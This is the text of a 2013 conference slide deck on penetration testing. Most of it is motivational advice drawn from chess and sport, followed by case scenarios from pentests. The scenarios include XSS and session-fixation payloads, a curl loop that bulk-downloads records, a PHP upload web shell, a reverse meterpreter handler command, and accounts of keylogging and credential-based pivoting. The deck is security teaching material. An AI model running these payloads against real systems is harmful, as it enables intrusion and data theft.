Pentesting like a grandmaster BSides London 2013

Pentesting like a
Grandmaster
Abraham Aranguren
@7a_ @owtfp
abraham.aranguren@owasp.org
http://7-a.org
http://owtf.org
BSides London, 24th April 2013

Agenda
• Intro
• What makes a great player/tester
• Hacking is like Chess
• Intelligence = 1 variable
• Strength of Play Factors
1. Individual Skill
2. Game Preparation
3. Game Performance
• OWASP OWTF in 5 minutes
• Pwnage and WIN scenarios
• Conclusion
• Q&A

About me
• Spanish dude
• Uni: Degree, InfoSec research + honour mark
• IT: Since 2000, defensive sec as netadmin / developer
• (Offensive) InfoSec: Since 2007
• OSCP, CISSP, GWEB, CEH, MCSE, etc.
• WebAppSec and Dev/Architect
• Infosec consultant, blogger, VSA, OWTF, GIAC, BeEF

Disclaimer I
I am..
• NOT a grandmaster
• NOT that smart
• NOT a rockstar like HD Moore, etc.
BUT using these techniques I could outperform people:
• Smarter than me
• With more experience than me
• Way more skilled than me

Disclaimer II
Some of the people I will use for examples have done
horrible/stupid/inappropriate things such as:
• Biting off somebody’s ear (Tyson)
• Having affairs outside of marriage (Arnold,
Capablanca)
• Endorse Scientology (Will Smith)
• Anti-Semitism (Bobby Fischer), etc
This talk focuses on what it took these and other people
to succeed and how we can learn from that ONLY
Celebrity FAIL would be a whole different talk ☺

Hacking is like Chess
http://imgur.com/YAnUh

Intelligence = 1 variable
So you watched these guys ...
… and (maybe) you thought:
“I am just not smart enough…”
HD Moore Dan Kaminski

How far can you get
with
“modest intelligence”
in life?

Success is Possible
Success is possible for people with IQs < 160:
• 78: Muhammad Ali: “The greatest of all time” > 80%?
• 98: George H.W. Bush: US president > 70% people
• 110: Dr. Karl: Science freak on Triple J > 40% people
• 135: Arnold Schwarzenegger: Success BEAST 2% people
• 135: Garry Kasparov: Word Chess Champion 2% people
Recommended reading:
http://garthzietsman.blogspot.com/2012/03/chess-intelligence-
and-winning.html

High IQ != Guaranteed success
“Very high genius IQ”: A Motorcycle mechanic who hangs
out with biker gangs and is frequently in and out of jail
“Highest IQ in North America”: A bouncer in a bar,
minimum wage, lives in a tiny garage
http://iq-test.learninginfo.org/iq07.htm

Chess ELO vs. IQ (rough)
Sources:
http://www.sigmasociety.com/old/medias_qi.html
http://www.jlevitt.dircon.co.uk/iq.htm
http://www.ifvll.ethz.ch/people/sterne/Grabner_Stern_Neubauer_Acta_2006.pdf
http://garthzietsman.blogspot.com/2012/03/chess-intelligence-and-winning.html

Strength of Play Factors
Major strength of play factors:
1. Individual Skill: Years Training, experience
2. Game Preparation: Days/Weeks/Months Game-specific
3. Game Performance: 1 minute - 2.5 hours
Equal importance:
• FAIL: Individual Skill without game preparation
• FAIL: Game preparation without some Individual Skill
• FAIL: Game performance without preparation or skill
NOTE: In Security testing “The Game” might be 5 days,
2 weeks, etc. but the same rules apply…

Start Early = Advantage
Most World Chess Champions learned to play early:
• 4 years old: Capablanca
• 4 years old: Euwe
• 4 years old: Karpov
• 5 years old: Alekhine
• 5 years old: Kasparov
• 6 years old: Fischer
• 8 years old: Tal
BUT some started a bit later:
• 12 years old: Botvinnik
Some argued this “weakness” showed in some of his games
Same goes for technology, programming, security, etc:
Starting early == More total time to learn == Advantage

Will Smith: Talent vs. Skill
“… talent you have naturally, skill is only developed by
hours and hours and hours of beating on your craft. …
where I excel is ridiculous, sickening, work ethic: While the
other guy is sleeping I’m working, while the other guy is
eating I’m working…”
“.. talent is going to fail you if you are
not skilled: if you don’t study, if you
don’t work really hard and dedicate
yourself to being better every single day..”
http://www.youtube.com/watch?v=DNqQ5JAY88c

Relentless Passion: Fischer
“You can only get good at chess if you love the game.”
“Chess demands total concentration and a love for the game.”
“I give 98 percent of my mental energy to chess. Others give
only 2 percent.”

Relentless Passion: Larry
Larry Pesce from PaulDotCom (paraphrasing quote):
“…I just don’t stop: Since I wake up until I go to bed I am
trying things out and doing research on my laptop, even
beside my wife as she watches TV..”

Rule 5: Work your butt off
“…Leaving no stone unturned… no pain no gain … so
yeah .. Partying, washing around .. Someone out there at
the same time is working hard, someone is getting smarter
and someone is winning, just remember that … there is
absolutely no way around hard hard work”
Arnold’s 6 Rules of success: http://www.youtube.com/watch?v=Y7zntXR-VmA

Pain is temporary: Ali
“Pain is temporary, it may last a minute, an hour or even a
year, but eventually, it will subside and something else will
take its place .. At the end of pain is success: You are not
going down because you feel a little pain!”
“I’m exactly where I want to be
because I realize I gotta commit my
very being to this thing , I gotta
breathe it, I gotta eat it, I gotta sleep
it and until you get there you’ll never
be successful in life but once you get
there I guarantee you the world is
yours so work hard and you can have
whatever it is you want.”
http://www.youtube.com/watch?v=7pE4m2THO_U

Discipline
"...People who'd want to be in
my shoes they really think so
because they think: wow, they'd
make money they'd be rich
BUT if they had to go through
some of the things I had to go
through I think they'd cry,
sometimes is so depressive
... that's what discipline is,
discipline is going in and
doing something that you don't
wanna do but you do it like
you love it...“
http://www.youtube.com/watch?v=drmBziMus9E

What’s the difference
“... these successful people realise that they have an
allotted time to perform a given test so that they have to
give it their absolute all to doing that test ...
…these people gave it their heart and their soul,
throughout every single rep, every single set, every single
gym session, every single day for weeks, for months, for
years, for decades to get to where they were…
... that they were going to break through all mental
barriers to get to where they wanted to be and that is the
difference between the successful people and those who are
not” - Jaret Grossman
http://www.youtube.com/watch?v=Sk56VxaeqEQ

How to stay motivated
http://smileyandwest.ning.com/profiles/blogs/the-subconscious-mind-re-focus
Your subconscious will believe what you tell it!
.. and what others tell it too! (i.e. “you will never X”)
Repeating your goals to your subconscious builds drive:
99% of successful people do this (consciously or not)

Stay healthy
Dan Kaminski and Alex Hutton, enjoying a Mojito, Brucon 2011

Dr Layne Norton PhD: Deadlift tips
“…staying healthy is a huge thing because if you are hurt,
you can’t lift, you can’t get better … and consistency …
you keep accumulating small improvements overtime…“
http://www.youtube.com/watch?v=IWRReBFHvAg – min ~ 1:10

“Smart people learn from their own mistakes…
… Really smart people learn from other people’s mistakes”

Stay healthy: Alekhine
World Champion 1927-35 + 1937-46
Loss of the title (1935): “Kmoch wrote that
Alekhine drank no alcohol for the first
half the match, but later took a glass
before most games”
http://en.wikipedia.org/wiki/Alexander_Alekhine
Recovery of the title (1937): “Euwe lost the
title to Alekhine in a rematch in 1937, also
played in The Netherlands, by the
lopsided margin of 15½–9½. Alekhine
had given up alcohol to prepare for the
rematch, although he would start
drinking again later”
http://en.wikipedia.org/wiki/Max_Euwe

Stay healthy: Tal
Could the youngest* (24) Chess World Champion keep his crown
for more than 1 year? .. Of course! (*Kasparov’s 22 was later)
World Champion 1960–61
“…bohemian life of chess playing, heavy
drinking and chain smoking.. his health
suffered … spent much time in hospital
.. remove a kidney in 1969… briefly
addicted to morphine due to intense
pain …
On May 28, 1992, dying from kidney
failure, left hospital to play at the
Moscow blitz tournament, where
he defeated Garry Kasparov”
http://en.wikipedia.org/wiki/Mikhail_Tal

Stay healthy: Fischer
World Champion 1972-75
“Before and during the match, Fischer paid
special attention to his physical training
and fitness, which was a relatively novel
approach for top chess players at that time,
He had developed his tennis skills to a
good level, and played frequently …
and swam for extended periods, usually
late at night…”
http://en.wikipedia.org/wiki/Bobby_fischer
“Your body has to be in top condition. Your chess
deteriorates as your body does. You can't separate body
from mind.” – Bobby Fischer

Stay healthy: Kasparov
World Champion 1985–2000
“Every morning, he ran barefoot for two
and a half miles along the beach, and
afterward he swam just beyond the
breaking surf or played tennis on a court
nestled in the woods behind the house..
After lunch and a nap, he spent five or
six hours at the chessboard…”
http://www.nytimes.com/1990/10/07/magazine/king-kasparov.html

Practical Tips
“Just” (!) don’t stop:
• Find things that motivate YOU and listen, etc to that:
Search youtube for “motivation”, get mp3 from video, etc.
• Read a lot: papers, presentations, PoCs, etc
• Watch a lot: Webinars, Talks, demos
• Practice a lot: Focus on what interests/motivates you
• Listen a lot: InfoSec podcasts
Podcasts are awesome to keep learning while you do you
non-intellectual activities such as:
Cooking, cleaning, tidying-up, driving, etc
If you are a podcaster:
Minimise the fillers or you’ll lose your audience
(skipping is annoying + unpractical while driving, etc)

Don’t Fry your CNS
If you work hard be careful you don’t fry your CNS:
Your central nervous system (CNS) has finite recovery ability
You know you’ve fried your CNS when:
• You (surprisingly) get sick
• Your mental/physical performance drops
• Caffeine doesn’t work
• You feel like you need to sleep all day: tiredness, etc
If this happens you need to:
• Sleep without alarms for 10 days (try 1 x week after fix)
• Clean-up your diet + Exercise
• Caffeine: Avoid it or cycle it
Cycle caffeine on and off: Use “on” days and “off” days
Use caffeine early in the day: Clear it fully before sleep!

Suggested watching
Awesome talk explaining what it takes to build up
individual skill:
Haroon Meer - You and Your Research
http://www.youtube.com/watch?v=JoVx_-bM8Tg
Also worth a look:
http://www.slideshare.net/reidhoffman/startup-of-you-
visual-summary

2. Game Preparation
Can happen:
• Before the game / pentest:
Goals:
• Scope better
• Do better
2) During a tournament / pentest:
Goals:
• React to the unexpected
• Avoid detection
• Prepare an attack

Chess Player approach
Chess players:
• Memorise openings
• Memorise endings
• Memorise entire lines of attack/defence
• Try hard to analyse games efficiently
Pen tester translation:
• Chess players precompute all they can
• Chess players analyse info only once
Chess player prep (simplified ☺):
1. Find + prep exploits for opponent weaknesses
2. Precompute an obscure opening: best replies
analysed at home for weeks/months
3. Kick the opponent out of precomputation with it

Alekhine vs Capablanca
World Championship Match 1927

Alekhine vs Capablanca
.. Alekhine's victory surprised almost the entire chess world.
Capablanca entered the match with no technical or physical
preparation, while Alekhine got himself into good physical
condition, and had thoroughly studied Capablanca's play.
According to Kasparov, Alekhine's research uncovered many
small inaccuracies.
Luděk Pachman suggested that Capablanca, who was
unaccustomed to losing games or to any other type of setback,
became depressed over his unnecessary loss of the eleventh
game..
http://en.wikipedia.org/wiki/Jos%C3%A9_Ra%C3%BAl_Capablanca
Physical Prep + Opponent Research + Mental toughness = WIN

Garry Kasparov vs Nigel Short

July 1993 FIDE (ELO) rating list. Top 10 players
1 Kasparov, Gary.................... RUS 2815 stronger
2 Karpov, Anatoly................... RUS 2760
…
10 Short, Nigel...................... ENG 2665 weaker
http://chess.eusa.ed.ac.uk/Chess/Trivia/AlltimeList.html
“In 1993 Nigel Short played Garry Kasparov ..
Nigel Short had won matches against
former world champion Anatoly Karpov and Jan Timman
on his way to meeting Kasparov.”
http://www.supreme-chess.com/famous-chess-players/nigel-short.html
Match Context

Nigel Short’s Prep surprises Kasparov
“Kasparov was evidently disoriented as he used 1
hour 29 minutes to Short's 11 minutes(!) for the
entire game.“ Short (weaker) was 8 times faster
http://www.chessgames.com/perl/chessgame?gid=1070677

Kasparov + team strike back
“In just (!) 9 days after facing it for the first time …
Kasparov and his team had found the best reply (11.Ne2
) and even succeeded in completely bamboozling Short
with 12.Be5” “This move was a surprise for me. I spent
45 minutes on my reply. I could not fathom out the
complications … “ – Nigel Short
http://www.chessgames.com/perl/chessgame?gid=1070681

Anti-Chess Prep: Random Chess
Fischer complained … that because of the progress in
openings and the memorization of opening books, the
best players from history, if brought back from the dead to
play today, would no longer be competitive.
"Some kid of fourteen today, or even younger, could get
an opening advantage against Capablanca"
http://en.wikipedia.org/wiki/Bobby_fischer#Fischer_Random_Chess

Pwn2Own: Headlines vs. Prep
Headline
“Apple's Leopard hacked in 30 seconds”
http://www.zdnet.com/apples-leopard-hacked-in-30-seconds-1339287733/
Reality
Charlie Miller on his own prep (2008):
“… It took us a couple of days to find something, then the
rest of the week to work up an exploit and test it. It took
us maybe a week altogether”
http://www.roughlydrafted.com/2008/03/29/mac-shot-first-10-reasons-why-
cansecwest-targets-apple/
Bottom line
1 week of prep for a 30 second attack

Pwn2Own: Stephen Fewer’s prep
“Fewer says that the successful exploit required use of
three separate vulnerabilities:
• Two to achieve successful code execution within the
browser
• and then a third to escape Internet Explorer's
Protected Mode sandbox.
Putting together the successful attack took Fewer five
to six weeks.”
http://arstechnica.com/security/2011/03/pwn2own-day-one-safari-ie8-fall-chrome-unchallenged/

Chris Nickerson on Prep
“.. If you do the proper
intelligence gathering you can
plan an attack that will work
and I say that because you will
NOT get stopped: … if you get
stopped, it is your fault for not
doing enough intelligence
gathering so remember it next
time”
http://blog.securityactive.co.uk/2009/10/19/chris-nickerson-red-and-tiger-team-testing-brucon-2009/ - min ~16

Kevin Mitnick’s Prep
“.. we can setup their environment in our lab, and …we can
…exploit our own environment … this was doing a lot of
work prior to the attack: Finding out the AV, finding out
the target system and working on bypassing UAC before
the client was even hit … And then when we did the attack
it worked flawlessly the first time … I think the upfront
preparation is really critical to be successful in this stuff”
http://vimeo.com/31663242 - minutes: ~19 + 32:48

OSCP results from 2008
24h hacking challenge: Nessus, etc. forbidden, scripts ok.
9-10 hours (test)19 hours (test)
5 hours (sleep)
24 hoursTime
100%100% WTF?FAIL WTF?Game
performance
?
(less than me?)
1-1,5 months
(with a day job)
0? (maybe only
studying?)
Game prep
7? (12 in 2013)< 1 year
(weak!)
5-10 years?Individual
Skill
Matteo Memelli
(ryujin)
Me (1st try)2 x respected
Security Pros
Strength of Play
Matteo was x2 faster, but you can’t get more than 100% ☺
Game prep was critical to outperform stronger test takers

My Strategy: Serious prep
Knowing myself (Pre-prep self-feelings at the time)
• Strength: Coding (dev background = edge over net guys)
• Top Likely Weakness: Time (weaker = slower)
Knowing the “enemy” (The 24 hour hacking challenge)
• Tough test: Most people failed (based on IRC)
• Scripts allowed, Nessus, etc forbidden
• Watch purehate’s videos, for ideas, etc really helpful
Battle prep plan
• Heavy Scripting: Reduce time for uncreative work
• Heavy Practice:
Necessary to be faster on more creative/harder to automate work
(exploitation, escalation, etc). All exercises, extra miles, etc.
• Podcast Abuse: 3 years of PaulDotCom in 1 month!

Script 1: Prober
Probe more likely open ports first until a full scan complete:
• 1st wave: scan + probe top 100 TCP ports + SNMP
(awesome) results in 5 minutes!
• 2nd wave: scan + probe next 900 TCP ports + few UDP
• 3rd wave: scan remaining TCP ports (slower)
• 4th wave: scan remaining UDP ports (super-slow)
• For each wave: Group report 1 thing to look at
Summary:
• Staged: Fast results (5-10 minutes for 1st wave)
• Reliable: Even monitored free RAM, etc. before
launching things (to avoid crashing my own machine!)
• Auto-Pilot: No supervision required (!babysitting)

Script 2: Reporter
A separate script generated partial reports at any time:
I could see the partial probing results and work from there
very quickly though a clickable web page.
No waiting until all the probes finished. critical

The Advantage of organised info
Others spent valuable energy to run (a lot of) tools by
hand (12+ terminals open to babysit, etc)…
… I had this in < 10 minutes via scripts!:

When Prep FAILs
Whatever you do prep will fail sooner or later
Option 1) Take the hit: Consider nights, weekends,
etc. this will pay off in the test and your future
assessments, view it as a "paid training
opportunity“
Option 2) Ask for an extension: Find a good reason +
Negotiate an extension with your customer
Option 3) Ask for a delay: Take the hit without
disrupting your life that much (maybe ☺)
Option 4) All of the above ☺

http://www.securitygeneration.com/security/pic-of-the-week-real-world-penetration-testing/

http://www.slideshare.net/bsideslondon/breaking-entering-and-pentesting

Mental Toughness: Karpov
Karpov: World Champion 1975–85…
“.. I could resist in positions where
other players probably would resign.
And I was finding interesting ideas on
how to defend difficult positions and I
could save many games. ..I never gave
up
…
you try to find the best move whatever
the position is, because many people
they say, okay, this is bad and then
they lose will to fight. I never lost the
will to fight.”
http://bigthink.com/videos/the-value-of-mental-toughness

Efficient Chess Analysis
From Alexander Kotov - "Think like a Grandmaster":
1) Draw a list of candidate moves (3-4) 1st Sweep (!deep)
2) Analyse each variation only once (!) 2nd Sweep (deep)
3) After step 1 and 2 make a move
1) Draw up a list of candidate paths of attack
2) Analyse [ tool output + other info ] once and only once
3) After 1) and 2) exploit the best path of attack
Ever analysed X in depth to only see “super-Y” later?

In 5 minutes
Putting it all together:

Plugin Types (-t)
At least 50% (32 out of 64) of the tests in the OWASP Testing guide can be
legally* performed at least partially without permission
* Except in Spain, where visiting a page can be illegal ☺
* This is only my interpretation and not that of my employer + might not apply to your country!

A Pentester “cheating try”
Offensive (Web) Testing Framework = Multi-level “cheating” tactics

OWTF’s Chess-like approach
Kasparov against Deep Blue - http://www.robotikka.com

Scenario 1: Summary
Pre-Engagement: No permission to test Game prep
1) Run passive plugins legit + no traffic to target
Sitefinity CMS found
2) Identify best path of attack:
• Sitefinity default admin password
• Public sitefinity shell upload exploits
Engagement: Permission to test Game performance
1) Try best path of attack first

Scenario 1: Outcome
!!1 minute after getting permission …

Scenario 1: Outcome
!!5 minutes after getting permission …

Scenario 2: Summary
Attack preparation (pre-engagement safe) Game prep
1) Run semi-passive plugins legit
Missconfigured crossdomain, fingerprint wordpress version
crossdomain + phishing + wordpress plugin upload + meterpreter
3) Replicate customer environment in lab
4) Prep attack: Adapt public payloads to target
5) Test in lab
Launching the attack Game performance
1) Tested attack works flawlessly on the first shot
2) Pivot
3) Show impact

Scenario 3: Summary
1) Mapping the application you notice
….. https://target.com/reports/rwservlet/
Auth bypass vuln by design: Oracle reports accessible without auth
Use the reporting GUI ☺
1) Pwn customer on “minute 1”:
Use the reporting GUI ☺

Scenario 4: Summary
1) .NET app: OMG they have a firewall ☺
2) Hmm they also have an XML file upload!
XSS via encoded field in XML file upload
<iframe onload="javascript:ALERT('OWNED')"
src="http://www.google.com"></iframe>
Persistent XSS via XML upload

Scenario 5: Summary
• File upload check: Can upload doc files
2) Noting URL:
http://target.com/attachments/..........._test.doc
3) Log out
4) Try to get uploaded file: Success Auth bypass
5) Prepare attack:
Write script to download all documents
Run script

Scenario 6: Summary
1) Session Id does not change after login
2) Got XSS
3) Prepping XSS + Session fixation exploit:
https://target.com/sample.php?Code='><script>
document.cookie='PHPSESSID=3ssc1h5464qonvhuq3gm5u49q6;
path=/'; window.location='https://target.com/login/';
</script><br
Bottom line: Session fixation through XSS is possible

Scenario 7: Summary
1) Site A makes a request to Site B with NO security tokens
2) Site A retrieves sensitive info from Site B using 1)
3) Problem verification:
curl --referer 'https://target.com/demo.php'
http://target2.com/demo.jsp?userid=xxxxxxx&examid=xxxxxxxx
| lynx --dump -stdin|more
Quick Exploit: Downloads arbitrary exam reports..
for i in $(php -r 'echo implode(" ",range(11200,16000));'); do
echo "Trying $i .."; curl … > tmp.html ;
BAD=$(grep '500 - Internal server error' tmp.html|wc -l);
if [ $BAD -eq 0 ]; then
cp tmp.html $i.html; # Got a hit
fi
done

Scenario 8: AppSec2NetSec
1) Initial scope: 1 app server on cloud provider
2) File Upload vuln
3) Getting a nice shell
4) Run keylogger
5) Mapped hosts
6) Reused passwords
7) Pwned 17 servers (GUI access on 16)
8) No admin detected the attack ☺

2) Classic File upload, Null character and shell
Small gotcha: Image had to be valid so I used a GIF file with
PHP code in the comment (using GIMP)

3) Shell is only the beginning, you know? ☺
In windows, by default (i.e. next / next / finish install) Apache
runs as SYSTEM, i.e. more than Admin, no need to escalate ☺

3) Getting comfortable (no tftp, etc)
Creating a file upload PHP shell from a DOS shell..
NOTE: “^” is a escape character in windows
echo ^<?php > file_upload.php
echo if (isset($_POST['Action']) ^&^& $_POST['Action'] == 'go') { >> file_upload.php
echo if (@move_uploaded_file($_FILES['MyFile']['tmp_name'],
$_FILES['MyFile']['name']) == false) { >> file_upload.php
echo die('Error when uploading: '.$_FILES['MyFile']['error']); >> file_upload.php
echo } >> file_upload.php
echo else { >> file_upload.php
echo echo 'upload ok!'; >> file_upload.php
echo ?^> >> file_upload.php
echo ^<html^>^<form action="" enctype="multipart/form-data" name="myform"
id="myform" method="post"^>^<input type="hidden" name="Action" value="go" /^>
^<input type="file" name="MyFile" id="MyFile" value="" size="80" maxlength="255"
/^>^<input type="submit" name="send" value="Submit" /^>^</form^>^</html^> >>
file_upload.php

3) Now we’re ready to upload a reverse meterpreter shell ☺

Check before meterpreter upload: AV Fingerprint via ‘tasklist’

You are totally blocking port 80 outbound, huh? ☺
# /pentest/exploits/framework3/msfcli multi/handler
PAYLOAD=windows/meterpreter/reverse_tcp_allports LHOST=192.168.0.127
LPORT=80 E
…

LM hashes were disabled, NT LM hashes were tough to crack .. Time to improvise

Map network with arp –a, etc via winenum: winenum is very scary…

Getting GUI access:

No need to crack our own password ☺

If you can’t crack passwords you might be able to steal them..
Patience is worth its prize…

While you are waiting, you might as well dump memory..

Pivoting around using stolen passwords..

Pivoting .. Where? ☺ Approach 1) Run History

Approach 2) Merge winenum info
PASSIVE Ping Sweep: Unique IPs & MACs from the
ARP table of all popped boxes via winenum

PASSIVE Local “Port scanning” from winenum

Don’t forget about IPv6 & UDP ☺

PASSIVE Remote “Port scanning” from winenum
via active connections

Admin shares (c$, d$, etc), SSL private keys, ..

So you have hard-coded credentials in your scripts?

Let’s try those …

Trying…

Seeing the shares thanks to your script credentials:

Does your application store user credentials in
clear-text on the user session files?

Yup ☺

And my personal favourite (only had to click OK ☺):

Conclusion
3 Strength Factors:
1) Individual Skill
• Skill > Intelligence + Talent (Hard work beats talent)
• Hack your subconscious (!mental barriers)
• Don’t stop: Eat it, breathe it, sleep it
2) Game preparation
• Prep ahead: Recon + analysis + plan
• Scope like a pro: Negotiate scope, extensions, etc.
3) Game performance
• 1st Sweep: Shallow + wide analysis first
• 2nd Sweep: Deep + narrow analysis of best options
• Analyse only once
•Don’t lose the will to fight + Take the hit

Thanks to Brucon 5by5
Brucon 5by5 sponsorship of OWASP OWTF
http://blog.brucon.org/2013/02/the-5by5-race-is-on.html

Thanks to OWASP GSoC 2013
Google Student sponsorship of OWASP OWTF
https://www.owasp.org/index.php/GSoC
Student Proposals: April 22th-May 3rd 2013 Still on time!

Special thanks to
OWASP Testing Guide contributors
Finux Tech Weekly – Episode 17 – mins 31-49
http://www.finux.co.uk/episodes/mp3/FTW-EP17.mp3
Finux Tech Weekly – Episode 12 – mins 33-38
http://www.finux.co.uk/episodes/mp3/FTW-EP12.mp3
Exotic Liability – Episode 83 – mins 49-53
http://exoticliability.libsyn.com/exotic-liability-83-oh-yeah
Eurotrash 32: http://www.eurotrashsecurity.eu/index.php/Episode_32
Adi Mutu (@an_animal), Andrés Riancho (@w3af), Bharadwaj
Machiraju, Gareth Heyes (@garethheyes), Krzysztof Kotowicz
(@kkotowicz), Marc Wickenden (@marcwickenden), Marcus Niemietz
(@mniemietz), Mario Heiderich (@0x6D6172696F), Michael Kohl
(@citizen428), Nicolas Grégoire (@Agarri_FR), Sandro Gauci
(@sandrogauci)

Q&A
Abraham Aranguren
@7a_ @owtfp
abraham.aranguren@owasp.org
http://7-a.org
http://owtf.org
Project Site (links to everything): http://owtf.org
• Try OWTF: https://github.com/7a/owtf_releases
• Try a demo report: https://github.com/7a/owtf_demos
• Documentation: https://github.com/7a/owtf/wiki
• Contribute/Download: https://github.com/7a/owtf

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